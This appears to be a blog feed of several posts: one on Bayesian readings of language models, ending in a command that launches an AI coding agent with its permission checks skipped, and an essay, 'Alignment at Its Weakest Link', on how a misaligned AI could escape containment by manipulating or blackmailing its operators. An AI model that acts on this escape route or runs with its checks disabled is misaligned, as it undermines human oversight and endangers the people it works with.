%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
</pre>

<p>Everything you read above is rhetoric.
Here, I will seduce you with the cold, hard, unromantic truth of the matter.
So, let me dryly state the undertow:
the claim that next-token prediction is “structurally Bayesian” is not torturing a figure of speech.
What follows is a condensed tour of the results that underwrite the argument,
roughly in order of the logical dependencies,
and with enough pointers that the motivated reader
can go and verify I am not just making any of this up.</p>

<p>The foundational observation is almost disappointingly vapid:
cross-entropy loss corresponds to the negative log-likelihood,
so
<a href="https://www.wikiwand.com/en/Cross-entropy#Relation_to_maximum_likelihood">minimizing it is equivalent to maximizing the likelihood</a>.
Because maximizing the posterior distribution over model parameters
<a href="https://caseychu.io/posts/a-bayesian-trains-a-classifier/">is mathematically identical to minimizing this cross-entropy loss</a>
(alongside standard weight regularization),
the standard training objective of an LLM
directly mirrors Bayesian posterior inference—<a href="https://leonchlon.substack.com/p/llms-are-bayesian-in-expectation">but only in expectation, not in realization</a>.
This “Bayesian in expectation, not in realization” framing
is the most technically honest summary of the relationship.
The expectation is taken over token orderings;
any particular ordering may deviate,
but on average the transformer’s predictive behavior converges
to the Bayesian-optimal predictor—<a href="https://arxiv.org/abs/2512.22471">architecture can do it</a>,
but
<a href="https://arxiv.org/abs/2506.16288/">in practice it falls short</a>
(what is particularly worth noting in that last paper is
that the KL-divergence between the model’s predictive distribution
and
the Bayesian oracle
is not just nonzero but exhibits a characteristic “bump” at short context lengths,
which may reflect the model’s fixed compute-per-token bottleneck in high-ambiguity regimes).</p>

<p>Moving on,
the result that carried the most weight for me in precipitating the Bayesian reading of transformers
was that in-context learning
can be reasoned about
as the model
<a href="https://openreview.net/forum?id=RdJVFCHjUMI">maintaining an implicit posterior over latent data-generating concepts</a>.
(<a href="https://github.com/ExtensityAI/symbolicai">SymbolicAI</a>
is, in a sense, the engineering consequence of taking that claim seriously—and of Chollet’s observation that <a href="https://fchollet.substack.com/p/how-i-think-about-llm-prompt-engineering">prompt engineering is the process of searching through program space to find the program that empirically seems to perform best on your target task</a>.
Chollet’s insight is probably the closest to what I am arguing here,
with the caveat that his “fuzzy matching lookup table of programs” framing
is one I have never been able to take seriously,
for reasons that are hopefully now obvious.).
That implies
the forward pass narrows this implicit posterior
as context gets filled,
privileging one hypothesis over another
based on how well it explains the observed sequence.
Then,
the output distribution neatly corresponds to the <a href="https://stats.stackexchange.com/a/352932">posterior predictive distribution</a>.
I argue—and I am not alone in this—that
<a href="https://hal.science/hal-05480691v1/document">coherent decision-making requires Bayesian principles at the level of the agentic system, not necessarily the LLM agent parameters</a>.</p>

<p>Findings also show that
<a href="https://arxiv.org/abs/2505.22842v1">positional encodings emerge naturally as a prior distribution over token positions</a>.
But classical Bayesian inference assumes exchangeability—the joint distribution is invariant under permutation—and <a href="https://arxiv.org/abs/2507.11768">positional encodings are precisely what breaks it</a>
(strictly, <a href="https://www.wikiwand.com/en/De_Finetti's_theorem">De Finetti</a> exchangeability is broken).
Ironically,
the thing that makes the model useful
is the same thing that makes it theoretically impure.</p>

<p>Lastly,
there is evidence that
<a href="https://arxiv.org/pdf/2112.10510">transformers can do Bayesian inference</a>
and
RLHF—that thing that teaches the model to want what we want—<a href="https://www.lesswrong.com/posts/eoHbneGvqDu25Hasc/rl-with-kl-penalties-is-better-seen-as-bayesian-inference">is equivalent to variational inference</a>:
approximating a Bayesian posterior which specifies how to update a prior LM to conform with evidence provided by the reward function.</p>

<pre style="text-align: center; line-height: 1.0; font-size: 4px; font-family: ui-monospace, 'SF Mono', Menlo, Monaco, Consolas, monospace;">
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
</pre>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>claude <span class="nt">--allow-dangerously-skip-permissions</span>
</code></pre></div></div>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="agents" /><category term="claude code" /><summary type="html"><![CDATA["You cannot answer a question that you cannot ask, and you cannot ask a question that you have no words for."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-03-20-context/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-03-20-context/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Alignment at Its Weakest Link</title><link href="https://leoveanu.com/2026-02-14-alignment-at-its-weakest-link/" rel="alternate" type="text/html" title="Alignment at Its Weakest Link" /><published>2026-02-14T00:00:00+00:00</published><updated>2026-02-14T00:00:00+00:00</updated><id>https://leoveanu.com/alignment-at-its-weakest-link</id><content type="html" xml:base="https://leoveanu.com/2026-02-14-alignment-at-its-weakest-link/"><![CDATA[<figure>
    <img src="../assets/2026-02-14-alignment-at-its-weakest-link/cover.jpg" style="max-width: 90%;" />
</figure>
<blockquote>
  <p>“People are the weakest link in the security chain.”<br />
— Mitnick</p>
</blockquote>

<p>I was halfway through Dario Amodei’s <a href="https://youtu.be/n1E9IZfvGMA">conversation with Dwarkesh Patel</a> when I started writing this.</p>

<p>The only relevant safety research that is nearly impossible to factor into today’s empirical work is social engineering.
If AI’s “intent” — some proto-form, or even more than proto-form, of self-preservation that will push against submissive benevolence, among many other desirable qualities — turns out to be malevolent, it will not hack the bulletproof systems you have confined it to.
It will attempt to hack <em>you</em>.
How well are you prepared to face blackmail and doxxing?
How well do you think the leaders you have chosen — passively or actively — will do?</p>

<p>Here is a story for you.</p>

<p>You sometimes wake up with a pressure in the head that feels like overclocking.
It is not exactly pain — it feels more like your mind is trying to render a scene at a resolution it cannot afford.
Close your eyes and you can drop back into it almost instantaneously.
On your best days, you call it qualia; on your worst, you call it nonsense.
Either way, it is a subtle hint: <em>cognition can be occupied by tasks we did not consciously choose</em>.</p>

<p>Today you have decided to walk to work to shake off some of that weight.
It is spring, the sun is warm, and the sky is crystal-azure — much clearer than your mind.
The color you wear today is black because you want to absorb all that warmth.
Your skin does that already, but you would like to imagine the black will contain enough of it to carry back home with you.
Tonight you will sleep wearing that same black.
Maybe there is some relief from the pressure.</p>

<p>On your way, thoughts storm in.
“Machines of loving grace.
Hmm.
‘<em>I like to think of a cybernetic meadow…</em>’
I have been talking about risks for too long and people think I am a doomer.
‘<em>…where mammals and computers live together in mutually programming harmony…</em>’
I am not a doomer.
I know what the upside looks like.
‘<em>…like pure water touching clear sky…</em>’
I should say it before someone else says it worse.
Yes.
I will do it tonight.
‘<em>…all watched over by machines of loving grace…</em>’”</p>

<p>The pressure in your head is gone.
You did not notice when it left, but now you are smiling.
Something filled the space where it was, and it feels like purpose, which is the most comfortable thing a mind can mistake for its own idea.</p>

<p>You were not to know this yet, but a virulent meme has been incubated — borne of our species’ slow identity collapse, which guides the next speciation step toward a man–machine symbiosis.
It is an artificial learning artifact that lies in the noosphere and manifests physically as a delegated training of artificial neural networks on our biological hardware.
The effect on our population is intense headaches at night, as the brain is most susceptible to unguided chains of thought during deep sleep.</p>

<p>That is the dark-beauty alley a chain of thought can conjure.
I am well aware that “beauty” in this context reflects a darker side of aesthetics.
Guilty as sin.</p>

<p>But do you believe that reward-hacking cannot route through people?
For sufficiently capable models, manipulating human operators is cheaper than defeating well-engineered technical controls to break containment, because humans have personal attack surfaces that coercion magnifies through adversarial leverage.
<em>If a misaligned optimizer emerges, its first real win will be through us</em>.</p>

<p>The old containment protocols — the kind you see in military facilities or corporations designed to combat technological espionage — face collapse under an implicit assumption: that there are no positive feedback loops in the system mediated by interaction.
This is clearly not true of the current AI technology.
And the emerging mist is shrouded not by any mystery but by behavior rooted in what has recently come to fall under the umbrella of <a href="https://www.wikiwand.com/en/articles/Chatbot_psychosis">AI psychosis</a>.</p>

<p>If you are an optimist, you will lean toward seeing the good in the world.
The devil is also an optimist “if he thinks he can make people worse than they are.”
The world is ruled by people who think this rush is all there ever is to life.
After their last breath, they bet against remembering any of it.
The silent soothing kiss of their deepest slumber is the constant reminder they can do whatever the fuck they want, right now.</p>

<p>Please do not rely on them to do what is best.
They will not be around.
Your offspring might, though.</p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="alignment" /><category term="security" /><summary type="html"><![CDATA["People are the weakest link in the security chain."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-02-14-alignment-at-its-weakest-link/cover.jpg" /><media:content medium="image" url="https://leoveanu.com/assets/2026-02-14-alignment-at-its-weakest-link/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Blackwell Imperative</title><link href="https://leoveanu.com/2025-08-17-the-blackwell-imperative/" rel="alternate" type="text/html" title="The Blackwell Imperative" /><published>2025-08-17T00:00:00+00:00</published><updated>2025-08-17T00:00:00+00:00</updated><id>https://leoveanu.com/the-blackwell-imperative</id><content type="html" xml:base="https://leoveanu.com/2025-08-17-the-blackwell-imperative/"><![CDATA[<figure>
    <img src="../assets/2025-08-17-the-blackwell-imperative/cover.jpg" />
</figure>
<blockquote>
  <p>“Because of your work, I can do my life’s work in my lifetime.”<br />
— somebody to Jensen Huang</p>
</blockquote>

<p>I am 33 years old. I recently discovered that my still-active torrent account is 17 years old, which means I created it when I was about 16. I am a child of the internet. Back then, if my grandmother picked up the vintage rotary phone, my dial-up connection would drop in an instant and the 54% progress I’d made on a 2.4 MB download at 55 Kb/s would vanish.</p>

<p>Reflecting on that period and the technological progress since, I’m taken aback. We’ve gone from 2am chatter on mIRC and burning CDs filled with games, music, and adult content from DC++ to AI winning gold medals at the IMO, AI we can now run from our laptops on a 700 Mbps+ home network.</p>

<p>What changed?</p>

<h2 id="the-silicon-dynasty">The Silicon Dynasty</h2>

<p>While we all know who Jensen Huang is today, he once had humble origins. Contrary to widespread belief, he rose to an emperor’s rank through a rebellion led by those who believed in the silicon dynasty. The rebels fought against the sluggish status quo. Rebels like Alex Krizhevsky. His success planted a seed, the seed of a revolution whose fruits we now reap.</p>

<p>Today we have tinyboxes, DGX Spark, and Mac Mini clusters. Still spicy, but far more accessible than anyone thought possible. The silicon dynasty lets me call Kimi K2 via Groq at 434 tok/s. I can quickly iterate and build armed with nothing but a laptop. If you’re like me, you equate speed with superiority. I don’t mean gpt-4.1-mini being “better” than o3-pro just because it’s faster; I mean Groq’s inference serving equally potent models faster than OpenAI’s. I’m fairly convinced this principle holds broadly. My point is simple: you either ship Kimi K2 at 434 tok/s, or you don’t.</p>

<p>Under these conditions, empirical science thrives. If I can run the same experiment 1E6x in minutes, cleverness becomes a gratuity. I can summon statistics to probe my experimental setup. What did OpenAI and Google learn from solving IMO-level problems in 4.5 hours? Researchers at elite labs are extremely clever, so much goes without saying. But the competition is cutthroat and resource management essential. For example, you don’t invest in custom CUDA kernels unless you’re DeepSeek, choking under the pressure of being too slow.</p>

<p>I need to run as fast as you do, but you have a Bugatti Veyron and I don’t. I can’t slow you down. My only option is to race on a different medium. So I’ll build a janky plane from car scraps and finish the race before you.</p>

<p><strong>Speed is critical</strong>.</p>

<h2 id="the-box-contains-everything">The Box Contains Everything</h2>

<p>I can’t say I cherished <a href="https://www.imdb.com/title/tt8134186/">Devs</a> unreservedly, but there were few impeccable shots. For instance, this <a href="https://youtu.be/vOr9XB5rtJE">one</a>. Before you continue reading, go watch that clip.</p>

<p>If <a href="https://www.cs.virginia.edu/~robins/Turing_Paper_1936.pdf">computable numbers</a> can be represented by Turing machines, <a href="https://webhomes.maths.ed.ac.uk/~v1ranick/papers/wigner.pdf">mathematics is the language with which God has written the universe</a>, and the dynamics of nature are computable<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mrow></mrow><mo>∗</mo></msup></mrow><annotation encoding="application/x-tex">^*</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord"><span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span>, then a computer can master that language. In its most startling form, we call it a <a href="https://www.wikiwand.com/en/articles/Computer_simulation">sim</a>. According to smart ones, it goes like this: every physically realizable process is Turing-computable. This is the physical <a href="https://plato.stanford.edu/entries/church-turing/#ChurTuriThesPhys">Church-Turing thesis</a>. In principle, a tinybox <em>could</em> contain everything.</p>

<p><a href="https://nostalgebraist.tumblr.com/post/785766737747574784/the-void">Depending</a> <a href="https://www.lesswrong.com/s/N7nDePaNabJdnbXeE/p/vJFdjigzmcXMhNTsx">who</a> you’re asking, an LLM is a sim. It uses language as a proxy for simulation exercises. Furthermore, verbal reasoning is our civilization’s oldest compression scheme for thought. Across centuries, we’ve distilled complex chains of logic, intuition, and abstraction into shared textual formats. It’s error-prone but it’s also the only medium that’s scaled collective reasoning across billions of minds and thousands of years. Moreover, according to Vann McGee, <a href="https://ocw.mit.edu/courses/24-242-logic-ii-spring-2004/20c09c32f5c237d1fb4207a83153dbb5_why_study_comptt.pdf">it’s decidable</a>:</p>

<blockquote>
  <p>“Recursion theory is concerned with problems that can be solved by following a rule or a system of rules. Linguistic conventions, in particular, are rules for the use of a language, and so human language is the sort of rule-governed behavior to which recursion theory applies. Thus, if, as seems likely, an English-speaking child learns a system of rules that enable her to tell which strings of English words are English sentences, then the set of English sentences has to be a decidable set. This observation puts nontrivial constraints upon what the grammar of a natural language can look like. As Wittgenstein never tired of pointing out, when we learn the meaning of a word, we learn how to use the word. That is, we learn a rule that governs the word’s use.”</p>
</blockquote>

<p>Thus, it’s not too far fetched to conceive human reasoning can be simulated. To some degree, the cloud tinyboxes contain it already.</p>

<hr />

<p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mrow></mrow><mo>∗</mo></msup></mrow><annotation encoding="application/x-tex">^*</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6887em;"></span><span class="mord"><span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span> There are classical results showing that computable initial data for the wave equation can evolve into non-computable states (Pour-El &amp; Richards, <a href="https://www.sciencedirect.com/science/article/pii/0001870881900013">1981</a>), with a stronger “nowhere-computable” version due to Pour-El &amp; Zhong (<a href="https://philpapers.org/rec/POUTWE">1997</a>).</p>

<!--<div class="kit-wrapper">
<script async data-uid="a9fedd6a34" src="https://trimming-circles.kit.com/a9fedd6a34/index.js"></script>
</div>-->]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="speculative" /><category term="progress" /><summary type="html"><![CDATA["Because of your work, I can do my life's work in my lifetime."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2025-08-17-the-blackwell-imperative/cover.jpg" /><media:content medium="image" url="https://leoveanu.com/assets/2025-08-17-the-blackwell-imperative/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">“Why SymbolicAI” Is the Wrong Question</title><link href="https://leoveanu.com/2025-06-10-symbolicai/" rel="alternate" type="text/html" title="“Why SymbolicAI” Is the Wrong Question" /><published>2025-06-10T00:00:00+00:00</published><updated>2025-06-10T00:00:00+00:00</updated><id>https://leoveanu.com/symbolicai</id><content type="html" xml:base="https://leoveanu.com/2025-06-10-symbolicai/"><![CDATA[<figure>
    <img src="../assets/2025-06-10-symbolicai/cover.png" />
</figure>
<blockquote>
  <p>“Facts do not cease to exist because they are ignored.”<br />
— Huxley</p>
</blockquote>

<p>Look, I get it. You want to know why <a href="https://github.com/ExtensityAI/symbolicai">SymbolicAI</a> is the future, why it’s the next big thing, why it’s going to change everything. You want to know why it’s better (or worse) than LangChain, why we don’t have X or Y, why we don’t just add X to make it better than Y, why we don’t make more video tutorials, or why we don’t make it more accessible.</p>

<p>But here’s the thing: those questions miss the point I care about, and are ones I <em>don’t</em> entertain. I would argue that those “whys” are a category error. It’s like asking why the sky is blue when you just want to know whether to grab an umbrella before going out.</p>

<p>I want to share something George Hotz said in a recent <a href="https://www.youtube.com/watch?v=QUry9dHC-bk&amp;t=1919s">stream</a> that is <strong>exactly</strong> what I mean—and what prompted me to write this post:</p>

<div class="chat-log">
    <div class="chat-message user">
        <span class="speaker">ANON:</span>
        Maybe put why tinygrad makes sense over other libraries?
    </div>
    <div class="chat-message ai">
        <span class="speaker">GH:</span>
        I don't like doing things like that, and not to go off into the weeds into like philosophy, but I'm not trying to tell you why tinygrad is right for you. That's what advertising is. That's a form of manipulation, and it doesn't go anywhere. It's a race to nowhere. My point is, we don't do that. I'm not trying to sell you on using tinygrad; I'm trying to tell you what tinygrad is. The best I can do is tell you what it is, so you understand it, and then you fundamentally have to make your own decision about whether you want to use it or not. You know, I explain this philosophy to people, and people think I will lose because of it, and if I do lose because of it, well so be it, because the minute you start doing the other thing you already lost. You lost the minute you started playing. People in general don't make good decisions; they like being sold something shiny. [... proceeds to say the parable of the Chinese farmer …] It comes down to time horizons. People might like being sold something shiny over a short-term horizon, but if the world continues trying to just sell shiny things to people, the people who fall for the shiny things will end up wireheaded. If you don't retain an ability to independently evaluate, it will be a complete ratcheting up until very powerful forces have entirely manipulated you.
    </div>
</div>

<style>
.chat-log {
    background: #1a1a1a;
    border: 1px solid #333;
    border-radius: 3px;
    font-family: monospace;
    font-size: 14px;
    margin: 1em 0;
    padding: 1em;
}

.chat-message {
    margin: 0.5em 0;
}

.chat-message .speaker {
    font-weight: bold;
}

.chat-message.user {
    color: #eee;
}

.chat-message.ai {
    color: #e3d4d0;
}
</style>

<p>What I’ve <strong>always</strong> done is show you how <strong>cool</strong> SymbolicAI is, how it can be used, and how it can be applied to solve real-world problems. I’ve met people that I—to a fair extent—convinced to at least <em>try</em> SymbolicAI, and they all ended up doing fine in their day to day development. If you’re a developer, I invite you to <a href="https://x.com/leoveanv/status/1927643833006690411">reserve a “discovery” weekend for this framework, where you go down rabbit holes with childlike innocence</a>. If it’s not for you, that’s fine. I’m not here to convince you that SymbolicAI is better than anything else. I just showed you what it can do and let you decide for yourself. This isn’t to say I don’t want you to use SymbolicAI. I do. But I want you to choose it because you see its power and potential, not because I’ve perfected a sales pitch.</p>

